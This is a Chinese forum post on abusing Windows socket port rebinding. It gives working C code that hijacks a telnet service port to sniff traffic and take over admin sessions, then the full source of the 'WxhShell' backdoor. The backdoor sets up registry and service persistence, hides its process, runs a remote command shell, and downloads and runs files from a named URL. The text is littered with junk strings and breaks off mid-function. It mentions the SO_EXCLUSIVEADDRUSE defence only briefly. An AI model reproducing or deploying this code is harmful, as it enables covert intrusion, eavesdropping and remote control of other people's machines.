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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: aR)w~s\6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JL7;l0#  
$OzVo&P;  
  saddr.sin_family = AF_INET; {_Fh3gjb/  
ZdT-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); e0]%ko"  
?YF2Uc8z%2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 79+i4(H  
Y3H5}4QD  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \ #la8,+9  
NE| Q0g  
  这意味着什么?意味着可以进行如下的攻击: NLt"yD3t  
u Vo"_c w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "EZpTy}Ee  
;Qq7@(2y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5eM{>qr}  
^W~8)Rbf  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sg4(@>  
G(bl)p^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +DE;aGQ.z?  
#@E:|^$1y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <00=bZzX  
ONF x -U]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 a>,Zp*V(  
yqP=6   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O.{  
_.I58r  
  #include .Y^pDR12  
  #include 8= g~+<A  
  #include ;(Az   
  #include    U6YHq2<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   uXb} o UC  
  int main() |<uBJ-5  
  { PO ,zP9  
  WORD wVersionRequested; gJ>#HEkMB  
  DWORD ret; Q(4~r+  
  WSADATA wsaData; _v++NyZXx  
  BOOL val; $"MGu^0;1  
  SOCKADDR_IN saddr; &}\{qFD;  
  SOCKADDR_IN scaddr; pwV~[+SS_  
  int err; 3Zwhv+CP[  
  SOCKET s; J7t) H_S{  
  SOCKET sc; 7\gu; [n  
  int caddsize; nQ{~D5y,,  
  HANDLE mt; qq@]xdl  
  DWORD tid;   OjrZ6  
  wVersionRequested = MAKEWORD( 2, 2 ); Y' 5X4Ks|  
  err = WSAStartup( wVersionRequested, &wsaData ); tTh4L8fO  
  if ( err != 0 ) { 9WV8ZP  
  printf("error!WSAStartup failed!\n"); {XwDvLZ  
  return -1; XJk~bgO*  
  } dJlK'zK  
  saddr.sin_family = AF_INET; (0rcLNk{|  
   We'=/!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s4Vju/  
uO1^nK  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v9(N}hoP  
  saddr.sin_port = htons(23); G&4D0f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GB,ub*|  
  { Q5_,`r`  
  printf("error!socket failed!\n"); u`Kc\B Sn  
  return -1; *xpPD\{k  
  } dCLNZq h6  
  val = TRUE; 1[- `*Ph  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 rd"!&i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %4BQY>O)@  
  { u#Bj#y!  
  printf("error!setsockopt failed!\n"); D&]xKx  
  return -1; $-<yX<.  
  } >t.PU.OM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p0}Yo8?OW  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Yq:/dpA_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /nEK|.j  
U.ZA%De  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jwI1 I{x  
  { UQWv)  
  ret=GetLastError(); "chf \ -!$  
  printf("error!bind failed!\n"); |:u5R%  
  return -1; ::3[H$  
  } +aqQa~}r  
  listen(s,2); Ki%)LQAg  
  while(1) !#E-p?O.  
  { v[?gM.SF  
  caddsize = sizeof(scaddr); j J54<.D  
  //接受连接请求 t{B6W)q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); nhd.c2t\  
  if(sc!=INVALID_SOCKET) %O{FZgi%wA  
  { T>&dPVmG,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6vzvH  
  if(mt==NULL) Dhk$e  
  { B =DV!oUg  
  printf("Thread Creat Failed!\n"); {yi!vw  
  break; R/2L9Lcv  
  } h-o;vC9fC  
  } P8tCzjrV  
  CloseHandle(mt); kpk ^Uw%f  
  } :73T9/  
  closesocket(s); rAgpcp}  
  WSACleanup(); .li)k[] ts  
  return 0; "#{b)!EH  
  }   }Fu2%L>  
  DWORD WINAPI ClientThread(LPVOID lpParam) HhzPKd  
  { MJK PpQ(,  
  SOCKET ss = (SOCKET)lpParam; qzk]9`i1:  
  SOCKET sc; Aiqb*v$  
  unsigned char buf[4096]; ! e?=g%(  
  SOCKADDR_IN saddr; c{T)31ldW  
  long num; \`8F.oZ^)  
  DWORD val; $=C ` V  
  DWORD ret; d 5h x%M  
  //如果是隐藏端口应用的话,可以在此处加一些判断 D9n+eZ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   J,=^'K(  
  saddr.sin_family = AF_INET; 5+)_d%v=6!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); za8+=?  
  saddr.sin_port = htons(23); mrVN&.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CT|H1Ry2T  
  { #4Cf-$J  
  printf("error!socket failed!\n"); 4U[X-AIY&  
  return -1; 2%]#rZ  
  } ldG$hk'  
  val = 100; o K&G  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mn\GLR.  
  { \i)@"}  
  ret = GetLastError(); 1DF8-|+  
  return -1; *`tQX$F  
  } li~=85 J  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tTJ$tx  
  { Ba n^wX  
  ret = GetLastError(); R7x*/?  
  return -1; w/7vXz<  
  } b/=>'2f  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) WVL\|y728s  
  { o:Tpd 0F  
  printf("error!socket connect failed!\n"); M!\6Fl{ b  
  closesocket(sc); 1w>G8  
  closesocket(ss); I>>X-}  
  return -1; H]Gj$P=k  
  } 4{" v  
  while(1) e4 cWi  
  { VO*fC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ) KYU[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lq27^K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1 ,6Y)_  
  num = recv(ss,buf,4096,0); ;S+"z;$m  
  if(num>0)  /?6  
  send(sc,buf,num,0); Zg >!5{T  
  else if(num==0) 7L!q{%}  
  break; .~4DlT  
  num = recv(sc,buf,4096,0); hQDl&A  
  if(num>0) HOVzpj  
  send(ss,buf,num,0); :?7^STc  
  else if(num==0) ^^gV@fz  
  break; wpm $?X  
  } QWK\6  
  closesocket(ss); jiLt *>I  
  closesocket(sc); )`m/vYKWL  
  return 0 ; Z`@< O%  
  } "ODs.m oq  
Eb\SK"8  
Hp3T2|uL  
========================================================== HQ3kxOT  
7p,!<X}%  
下边附上一个代码,,WXhSHELL z)p p{  
|_wbxdq  
========================================================== 1$ {Cwb/F  
BoPJ;6?>}  
#include "stdafx.h" ro@`S:  
eHI7= [h  
#include <stdio.h> ZDl(q~4?z  
#include <string.h> VXu1Y xY  
#include <windows.h> 62J -)~_  
#include <winsock2.h> LgoUD*MbQ  
#include <winsvc.h> ZCCwx71j  
#include <urlmon.h> [+4--#&{  
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#pragma comment (lib, "Ws2_32.lib") k&\ 6SK/  
#pragma comment (lib, "urlmon.lib") 4 O~zkg  
'B$qq[l]S  
#define MAX_USER   100 // 最大客户端连接数 nHmi%R7k  
#define BUF_SOCK   200 // sock buffer (]p,Z <f  
#define KEY_BUFF   255 // 输入 buffer wr;8o*~  
%wS5m#n  
#define REBOOT     0   // 重启 {afR?3GK  
#define SHUTDOWN   1   // 关机 iMr/i?`i  
bcZ s+FOPd  
#define DEF_PORT   5000 // 监听端口 Fm{`?!  
>gTrui{ ,  
#define REG_LEN     16   // 注册表键长度 2x&mJ}o#k  
#define SVC_LEN     80   // NT服务名长度 sDvtk]4o-4  
RzLbPSTQ  
// 从dll定义API Y;WHjW(K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hM @F|t3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jB!Q8#&Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?-IjaDC}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5n'C6q "  
mOvwdRKn  
// wxhshell配置信息 <UcbBcW,  
struct WSCFG { Ad:)5R o  
  int ws_port;         // 监听端口 {`vv-[j|  
  char ws_passstr[REG_LEN]; // 口令 ~&Gw[Nd1  
  int ws_autoins;       // 安装标记, 1=yes 0=no h&}XG\ioNA  
  char ws_regname[REG_LEN]; // 注册表键名 >O:j.(*!  
  char ws_svcname[REG_LEN]; // 服务名 l|P(S(ikh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Rv T>{G~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %2)'dtPD~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `:XrpD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f._FwD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JtrLTo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *MFsq}\ $  
sKT GZA  
}; .?YLD+\A  
45;{tS.z,B  
// default Wxhshell configuration s innHQ  
struct WSCFG wscfg={DEF_PORT, _ ecKX</Q  
    "xuhuanlingzhe", Gdd lB2L)x  
    1, W c"f  
    "Wxhshell", U0/X!@F-  
    "Wxhshell", 4EiEE{9V  
            "WxhShell Service", PKhH0O\_U  
    "Wrsky Windows CmdShell Service", PZQ n]lbak  
    "Please Input Your Password: ", NyTv~8A`)  
  1, =*aun&  
  "http://www.wrsky.com/wxhshell.exe", b[3K:ot+  
  "Wxhshell.exe" /pvR-Id|6  
    }; IZV D.1  
bt/u^E  
// 消息定义模块 4{d!}R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vt" 7[!O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IG1+_-H:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3sf+ uoV  
char *msg_ws_ext="\n\rExit."; '1[}PmhD  
char *msg_ws_end="\n\rQuit."; fCL5Et  
char *msg_ws_boot="\n\rReboot..."; *OT6)]|k  
char *msg_ws_poff="\n\rShutdown..."; .r/6BDE"  
char *msg_ws_down="\n\rSave to "; rkdwGqG  
w6M EY"<L  
char *msg_ws_err="\n\rErr!"; gu[3L  
char *msg_ws_ok="\n\rOK!"; %.kJ@@_e  
<j93   
char ExeFile[MAX_PATH]; E}aTH  
int nUser = 0; R<+K&_  
HANDLE handles[MAX_USER];  xA DjQ%B  
int OsIsNt; x;,H>!r"i  
Z?H#=|U  
SERVICE_STATUS       serviceStatus; `b^eRnpR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1k2+eI  
7tgn"wK  
// 函数声明 @tvAI2W  
int Install(void); ^Tbw#x]2  
int Uninstall(void); 8}FZ1h2 4  
int DownloadFile(char *sURL, SOCKET wsh); ZW$PJmz  
int Boot(int flag); /`YHPeXu  
void HideProc(void); sEj?,1jk  
int GetOsVer(void); Cf'O*RFD  
int Wxhshell(SOCKET wsl); 75j`3wzu  
void TalkWithClient(void *cs); ^PY*INv  
int CmdShell(SOCKET sock); t1,sG8Z  
int StartFromService(void); \vVGfG?6  
int StartWxhshell(LPSTR lpCmdLine); 1=x4m=wV  
a)'^'jm)4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O mkl|l9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +~Ni7Dp]  
{O-,JCq/  
// 数据结构和表定义 SqL8MKN)  
SERVICE_TABLE_ENTRY DispatchTable[] = 0GW(?7ZC  
{ <S'5`-&  
{wscfg.ws_svcname, NTServiceMain}, |cwGc\ES  
{NULL, NULL} Z `FqC  
}; `<>Emc8Z  
K4]c   
// 自我安装 %xE\IRlR  
int Install(void) ;0Yeo"-  
{ =vx iqRm  
  char svExeFile[MAX_PATH]; ^&iUC&8W  
  HKEY key; ,/n<Qg"`  
  strcpy(svExeFile,ExeFile); rWKc,A[  
lYkm1  
// 如果是win9x系统,修改注册表设为自启动 (P {o9  
if(!OsIsNt) { VkCv`E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :*V1jp+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LyM"  
  RegCloseKey(key); 1<RB}M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \^9SuZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5bZf$$b  
  RegCloseKey(key); H~1&hF"d  
  return 0; ]J\tosTi  
    } Sns`/4S?6Z  
  } ^ sxcBG  
} s^Lg*t 3I  
else { B`,4M&  
c?;~ Z  
// 如果是NT以上系统,安装为系统服务 n gA&PU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V=}AFGC85  
if (schSCManager!=0) ]9]cef=h#  
{ t(FI Bf3  
  SC_HANDLE schService = CreateService IHCEuK  
  ( ..RCR_DIp  
  schSCManager, J8[N!qDCj  
  wscfg.ws_svcname, }r:H7&|&  
  wscfg.ws_svcdisp, Z6%Hhk[  
  SERVICE_ALL_ACCESS, Tl9KL%9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Jwzkd"D  
  SERVICE_AUTO_START, Q C?*O?~#  
  SERVICE_ERROR_NORMAL, dx{ZG'@aH  
  svExeFile, A;E7~qOG  
  NULL, A<esMDX  
  NULL, 71i".1l{K  
  NULL, ,Q~C F;qe  
  NULL, D^1H(y2zp  
  NULL 3#7D g't  
  ); / 0Z_$Q&e  
  if (schService!=0) cX'&J_T+  
  {  w.kb/  
  CloseServiceHandle(schService); zRDBl02v$T  
  CloseServiceHandle(schSCManager); n DLr17  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /L,VZ?CmtK  
  strcat(svExeFile,wscfg.ws_svcname); N- E)b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -x i]~svg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -s Iji)t  
  RegCloseKey(key); ki`7S  
  return 0; ?rqU&my S  
    } :Z0m "  
  } &y-(UOqbkP  
  CloseServiceHandle(schSCManager); 'Dl31w%:  
}  ?Y4$  
} T@c{5a  
G|5M~zP  
return 1; !o A,^4(  
} C^vB&3ghi  
Y{~[N yE  
// 自我卸载 \ UCOe  
int Uninstall(void) ]<\Ft H  
{ x O`#a=  
  HKEY key; ~5e)h_y  
y#-mj,e  
if(!OsIsNt) { 9\F:<Bf$#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $@y<.?k>UP  
  RegDeleteValue(key,wscfg.ws_regname);  +c@s  
  RegCloseKey(key); A8bDg:G1i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ra%" +=  
  RegDeleteValue(key,wscfg.ws_regname); sBozz#  
  RegCloseKey(key); MH;5gC@ `  
  return 0; R{zAs?j  
  } Hk)IV"[R  
} #Fx$x#Gc@y  
} 'urn5[i  
else { KtWn08D!  
te e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rv/O^aL`Y  
if (schSCManager!=0) #sLyU4QV  
{ /ekeU+j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1an?/j,  
  if (schService!=0) `Oxo@G*@}W  
  { xE+Nz5F  
  if(DeleteService(schService)!=0) { |L XYF$  
  CloseServiceHandle(schService); M~ =Bln5  
  CloseServiceHandle(schSCManager); $GI2rzh  
  return 0; ROZOX$XM  
  } )%e`SGmp  
  CloseServiceHandle(schService); D,FX&{TYU  
  } 6ybpPls  
  CloseServiceHandle(schSCManager); .GG6wL<$?  
} }:NE  
} ~y@,d  
lCmTm  
return 1; ;9w: %c1  
} kjW Y{7b!  
H^UuT  
// 从指定url下载文件 G&i<&.i  
int DownloadFile(char *sURL, SOCKET wsh) q'r(#,B<3  
{ cuenDw=eC  
  HRESULT hr; :_ _z?<?(  
char seps[]= "/"; {9(#X]'  
char *token; Kh{C$b  
char *file; v6r,2Va/  
char myURL[MAX_PATH]; Uy8r !9O  
char myFILE[MAX_PATH]; D[d+lq#p  
)n8(U%q$  
strcpy(myURL,sURL); n}NO"eF>-s  
  token=strtok(myURL,seps); U Ke!zI  
  while(token!=NULL) v[S>   
  { 83rtQ ;L  
    file=token; ["N{6d&Q  
  token=strtok(NULL,seps); DI/yHs  
  } Qx$C oY  
\>}G|yL  
GetCurrentDirectory(MAX_PATH,myFILE); F(j vdq  
strcat(myFILE, "\\"); x. d ;7  
strcat(myFILE, file); [ArPoJt  
  send(wsh,myFILE,strlen(myFILE),0); $w,&h:.p  
send(wsh,"...",3,0); BT?)-wS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JA .J~3  
  if(hr==S_OK) GwHp@_>  
return 0; KHK|Zu#k '  
else .W>LsEk  
return 1; rlQ4+~  
{5<3./5O  
} }E?{M~"<  
(`z`ni  
// 系统电源模块 $@H]0<3,  
int Boot(int flag) lRIS&9vA3  
{ X?p.U  
  HANDLE hToken; =&kd|o/i  
  TOKEN_PRIVILEGES tkp; b:OQ/  
)ad-p.Hus  
  if(OsIsNt) { ryk(Am<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zkFx2(Hq-f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !nPwRK>  
    tkp.PrivilegeCount = 1; uif1)y`Q$C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; })zYo 7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3bMQ[G  
if(flag==REBOOT) { D_n(T ')  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J Iw=Bs  
  return 0; 1 uKWvp0\  
} j?5s/  
else { Het5{Yb.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zjuU*$A4  
  return 0; %TOYU (k  
} WfnBWSA2 T  
  } OPYl#3I  
  else { _A[k&nO!&J  
if(flag==REBOOT) { ,qo"i7c{:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6*!R'  
  return 0;  L=Pz0  
} ?b}d"QsmU  
else { p2(U'x c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :Adx7!6  
  return 0; QX1rnVzg0  
} `i'72\(  
} 9GH11B_A  
{$dq7m(  
return 1; j,HUk,e^&  
} \( S69@f  
=\t%U5  
// win9x进程隐藏模块 sYt\3/yL'  
void HideProc(void) >EMsBX  
{ !9w;2Z]uum  
;w\7p a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I04GQql  
  if ( hKernel != NULL ) 1c$<z~  
  { ZQ&A '(tt4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1$Jria5n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 47GL[ofY  
    FreeLibrary(hKernel); fmDn1N-bG  
  } ,-4SVj8$P  
PYOU=R%o`8  
return; 5BztOYn,  
} 6:(R/9!P  
y<53xZi  
// 获取操作系统版本 x_C#ALq9  
int GetOsVer(void) c@+;4Iz  
{ +PCsp'D d  
  OSVERSIONINFO winfo; u-31$z<<5}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0v~Eu>Rg  
  GetVersionEx(&winfo); '1$#onx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :9_N Y"P  
  return 1; rO_|_nV[  
  else gwf *M3(  
  return 0; zW,Nv>Ac5  
} P ~pC /z  
Q%seV<!/  
// 客户端句柄模块 3?}W0dZ$d  
int Wxhshell(SOCKET wsl) :X?bWxOJ  
{ isdEs k#A.  
  SOCKET wsh; $IuN(#  
  struct sockaddr_in client; MzF9 &{N  
  DWORD myID; af:wg]g  
[i8,rOa7  
  while(nUser<MAX_USER) .^?^QH3  
{ 3\=iB&Gf|  
  int nSize=sizeof(client); R^fk :3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w&M)ws;$  
  if(wsh==INVALID_SOCKET) return 1; i$Rlb5RU  
]h Dy]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Kn#3^>D  
if(handles[nUser]==0) W w{|:>j  
  closesocket(wsh); A? =(q  
else oic}Go  
  nUser++; D^ E+#a 1  
  } F$Cf\#{3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jslfq@5v  
64#6L.Q-c  
  return 0; E !a5-SrR  
} 4_#y l9+  
A.mIqu,:  
// 关闭 socket qJ;T$W=NG  
void CloseIt(SOCKET wsh) STC'j1U  
{ ?\HXYCi0r  
closesocket(wsh); }F*u 9E  
nUser--; ng ZkBX  
ExitThread(0); n ..9F$a  
} I+) Acy;  
nFVQOr;  
// 客户端请求句柄 w85PRruW  
void TalkWithClient(void *cs) nly`\0C  
{ ;st$TVzkn  
q><E?  
  SOCKET wsh=(SOCKET)cs; 'qosw:P  
  char pwd[SVC_LEN];  c`'2  
  char cmd[KEY_BUFF]; t=`bXBX1  
char chr[1]; . Q#X'j  
int i,j; [6bK>w"v  
Q k`yK|(0=  
  while (nUser < MAX_USER) { 7p}.r J54  
fbbk;Rq.'3  
if(wscfg.ws_passstr) { hM!D6: t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x<  Td  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,j4 ;:F  
  //ZeroMemory(pwd,KEY_BUFF); sA3=x7j%c  
      i=0; 6%mF iX  
  while(i<SVC_LEN) { 0NY2Kw;  
Y.O/~af  
  // 设置超时 YN\!I  
  fd_set FdRead; ToUeXU [  
  struct timeval TimeOut; kf3yJP/  
  FD_ZERO(&FdRead); y<|vcg8x  
  FD_SET(wsh,&FdRead); z0;+.E!  
  TimeOut.tv_sec=8; oG! S(95  
  TimeOut.tv_usec=0; MIcF "fB![  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )~q@2^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OzFA>FK0f;  
rPV\ F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .Dw^'p>  
  pwd=chr[0]; 8^3Z]=(Q  
  if(chr[0]==0xd || chr[0]==0xa) { aqTMOWyeu  
  pwd=0; _kR,R"lh  
  break; :/HfMJ  
  } Bc {#ia  
  i++; w5I +5/I  
    } D`=hP( y^  
d%$'Y|  
  // 如果是非法用户,关闭 socket P)?)H]J"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "{0 o"k  
} RlU=  
dP(*IOO.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %J06]FG7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U?u0|Y+  
J4 yT|  
while(1) { }.<%46_Z-  
s)q;{wz  
  ZeroMemory(cmd,KEY_BUFF); i%7b)t[y  
z5CZ!"&v  
      // 自动支持客户端 telnet标准   q9j9"M'  
  j=0; dU]>  
  while(j<KEY_BUFF) { (ilU<Ht  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v*Qr(4  
  cmd[j]=chr[0]; fu/v1Nhm  
  if(chr[0]==0xa || chr[0]==0xd) { W`fE@*k0  
  cmd[j]=0; *N"bn'>3  
  break; |C9qM  
  } xN\ PQ,J  
  j++; * pN,@ZV$  
    } bdiyS.a-  
jV^Dj  
  // 下载文件 ZFy>Z:&S,  
  if(strstr(cmd,"http://")) { @b=b>V[d6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p1 tfN$-  
  if(DownloadFile(cmd,wsh)) ;b:Ct<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Y(yDg;"  
  else D/_=rAl1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FAAqdK0  
  } Do}mCv  
  else { y: @[QhV  
)B@veso{  
    switch(cmd[0]) { MjMPbGUX{  
  N1ZHaZ  
  // 帮助 >a98 H4  
  case '?': { S2)rkX$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C !81Km5  
    break; zO`54^  
  } 4NxtU/5-sU  
  // 安装 vs|>U-Mpw~  
  case 'i': { B[F,D  
    if(Install()) LQSno)OZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qz;2RELz  
    else uQ#3;sFO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t#mW`rGE_  
    break; Gnmj-'x  
    } JZ&]"12]fR  
  // 卸载 }2M2R}D  
  case 'r': { @"T_W(i;BI  
    if(Uninstall()) ZWW:-3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ['m@RJm+  
    else NL))!Pi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m*h d%1D  
    break; XiI@Px?FL  
    } ]SpUD  
  // 显示 wxhshell 所在路径 X\\WQxj  
  case 'p': { C^RO@kM  
    char svExeFile[MAX_PATH]; c]O3pcU  
    strcpy(svExeFile,"\n\r"); EKf"e*|(L  
      strcat(svExeFile,ExeFile); *""'v   
        send(wsh,svExeFile,strlen(svExeFile),0); CDei+ q  
    break; ]c8lZO>  
    } _ I+#K M  
  // 重启 kc `Q- N}  
  case 'b': { nGGYKI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~^=QBwDW8N  
    if(Boot(REBOOT)) 9}t2OJS*h"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &| el8;D  
    else { <T:u&Ic  
    closesocket(wsh); MTBN&4[  
    ExitThread(0); 2 5h.u>6@{  
    } o <8L, u(U  
    break; T<~NB5&f  
    } UceZW tYa  
  // 关机 d_Ll,*J9  
  case 'd': { K~AQ) ]pJI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U$6N-q  
    if(Boot(SHUTDOWN)) =dUeQ?>t=  
